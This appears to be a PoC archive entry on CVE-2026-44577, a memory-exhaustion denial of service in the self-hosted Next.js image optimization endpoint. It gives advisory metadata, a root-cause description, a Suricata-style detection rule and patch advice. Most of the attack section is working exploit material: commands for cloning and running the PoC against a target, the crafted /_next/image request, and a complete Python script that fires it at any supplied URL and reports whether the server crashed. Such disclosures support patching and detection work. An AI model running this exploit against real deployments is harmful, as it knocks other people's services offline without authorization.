PoC Archive PoC Archive
Medium CVE-2026-44577 unpatched

Next.js Image Optimization API OOM DoS (Self-Hosted) (CVE-2026-44577)

by dwisiswant0 · 2026-05-17

CVSS 5.9/10
Severity
Medium
CVE
CVE-2026-44577
Category
web
Affected product
Next.js Image Optimization API (/_next/image) on self-hosted deployments
Affected versions
>=15.0.0, <15.5.16 and >=16.0.0, <16.2.5
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44577
Categoryweb
SeverityMedium
CVSS Score5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
StatusWeaponized
TagsDoS, OOM, image-optimizer, Next.js, self-hosted, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js Image Optimization API (/_next/image) on self-hosted deployments
Versions Affected>=15.0.0, <15.5.16 and >=16.0.0, <16.2.5
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44577 is a denial-of-service issue in Next.js Image Optimization on self-hosted deployments. In vulnerable builds, /_next/image can fetch very large local assets into memory without an effective size cap and then perform expensive image decode/transform work. By repeatedly requesting oversized local files that match images.localPatterns, an unauthenticated attacker can drive high memory usage and trigger process out-of-memory conditions. Public reporting for this issue states Vercel-hosted deployments are not affected.


Vulnerability Details

Root Cause

The image optimizer request path accepted attacker-controlled url values pointing to local assets and read upstream image bodies into memory before sufficient size/pixel limit enforcement in vulnerable versions. This enabled excessive memory consumption during fetch and decode in the image processing pipeline.

Attack Vector

An attacker sends repeated requests such as /_next/image?url=/large.bin&w=16&q=1 (or similar local paths) against a self-hosted Next.js application where local image patterns permit the target path. The endpoint fetches and processes oversized local content, amplifying memory pressure.

Impact

Successful exploitation can cause severe memory exhaustion, request failures, and application downtime. The practical outcome is unauthenticated denial-of-service against vulnerable self-hosted instances.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Self-hosted Next.js app in affected range (e.g. 16.2.4)
Attacker:    Any host with network reachability to target
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44577_GHSA-h64f-5h5j-jqjh

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Run a vulnerable self-hosted Next.js target with image optimization enabled.

    1
    2
    
    npm install next@16.2.4
    npm run start
    
  2. Execute the Python PoC against the target (or local mock harness if no target is passed).

    1
    
    python3 exploit.py http://127.0.0.1:3000
    
  3. Execute the shell PoC and observe latency/errors under oversized local image processing.

    1
    
    IMAGES_PATH=/large.bin SIZE_MB=200 bash exploit.sh http://127.0.0.1:3000
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import main
import sys

sys.exit(main())

Expected Output

[+] VULNERABLE -- optimizer fully decoded oversized asset
[+] VULNERABLE -- optimizer crashed / OOM-killed

Screenshots / Evidence

  • screenshots/ — add memory/latency/error evidence from a controlled vulnerable environment

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js image optimizer OOM DoS attempt";
  content:"/_next/image?url="; http_uri;
  pcre:"/w=\d+&q=\d+/";
  sid:900044577; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16+ or 16.2.5+
WorkaroundDisable built-in optimizer (images.unoptimized=true) or block oversized local image optimization requests at edge/proxy
Config HardeningRestrict images.localPatterns, enforce request rate/body limits, and monitor process memory thresholds

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes report no known active exploitation at publication time.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-h64f-5h5j-jqjh -- /_next/image OOM exploit.

Sends `/_next/image?url=/large.bin&w=16&q=1` against a Next.js < 16.2.5 deployment
(or our mock harness) and observes either OOM/timeout or hours-of-decode wall time.

Usage:
    python3 exploit.py                              # local mock harness on :8084
    python3 exploit.py http://target/               # real target
    python3 exploit.py http://target/ --path /large.bin --size-mb 200
"""
import argparse
import os
import signal
import subprocess
import sys
import time
import urllib.parse
import urllib.request


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-h64f-5h5j-jqjh -- /_next/image OOM" + C.X)
    print(C.CY + C.B + "  v16.2.4 vulnerable; partial mitigation in v16.2.5" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int, size_mb: int):
    here = os.path.dirname(os.path.abspath(__file__))
    server = os.path.join(here, "vulnerable-app", "server.py")
    proc = subprocess.Popen(
        [sys.executable, server, "--port", str(port),
         "--asset-size", str(size_mb)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def main():
    banner()
    ap = argparse.ArgumentParser()
    ap.add_argument("target", nargs="?")
    ap.add_argument("--path", default="/large.bin",
                    help="image source path passed via ?url=... (default /large.bin)")
    ap.add_argument("--size-mb", type=int, default=200,
                    help="size of mocked image asset in MiB (default 200)")
    ap.add_argument("--width", type=int, default=16)
    ap.add_argument("--quality", type=int, default=1)
    args = ap.parse_args()

    proc = None
    target = args.target
    try:
        if not target:
            print(C.Y + f"[*] no target supplied -> mock harness on :8084 (asset {args.size_mb} MiB)" + C.X)
            proc = maybe_start_mock(8084, args.size_mb)
            target = "http://127.0.0.1:8084"

        url = f"{target}/_next/image?url={urllib.parse.quote(args.path, safe='')}&w={args.width}&q={args.quality}"
        print(f"{C.B}[*] Target:{C.X}        {target}")
        print(f"{C.B}[*] Asset path:{C.X}    {args.path}")
        print(f"{C.B}[*] Mocked size:{C.X}   {args.size_mb} MiB")
        print(f"{C.B}[*] Optimizer URL:{C.X} {url}")
        print()

        t0 = time.perf_counter()
        code = -1
        nbytes = 0
        err = None
        try:
            with urllib.request.urlopen(url, timeout=120) as r:
                code = r.status
                while True:
                    chunk = r.read(64 * 1024)
                    if not chunk:
                        break
                    nbytes += len(chunk)
        except urllib.error.HTTPError as e:
            code = e.code
        except Exception as e:
            err = str(e)
        wall = time.perf_counter() - t0

        print(f"{C.B}[i] HTTP {code}  bytes={nbytes:,}  wall={wall:.2f}s  err={err}{C.X}")

        # Vulnerable signatures
        if code == 200 and wall > 5.0:
            print(C.G + C.B + f"[+] VULNERABLE -- optimizer fully decoded oversized asset (wall={wall:.2f}s)." + C.X)
            return 0
        if code in (500, 502, 503, 504) or err:
            print(C.G + C.B + f"[+] VULNERABLE -- optimizer crashed / OOM (code={code}, err={err})." + C.X)
            return 0
        if code in (400, 413, 415) and wall < 3.0:
            print(C.R + f"[-] LIKELY MITIGATED -- fast rejection ({code}) within {wall:.2f}s." + C.X)
            return 1
        print(C.Y + f"[?] inconclusive (code={code}, wall={wall:.2f}s)." + C.X)
        return 3
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass


if __name__ == "__main__":
    sys.exit(main())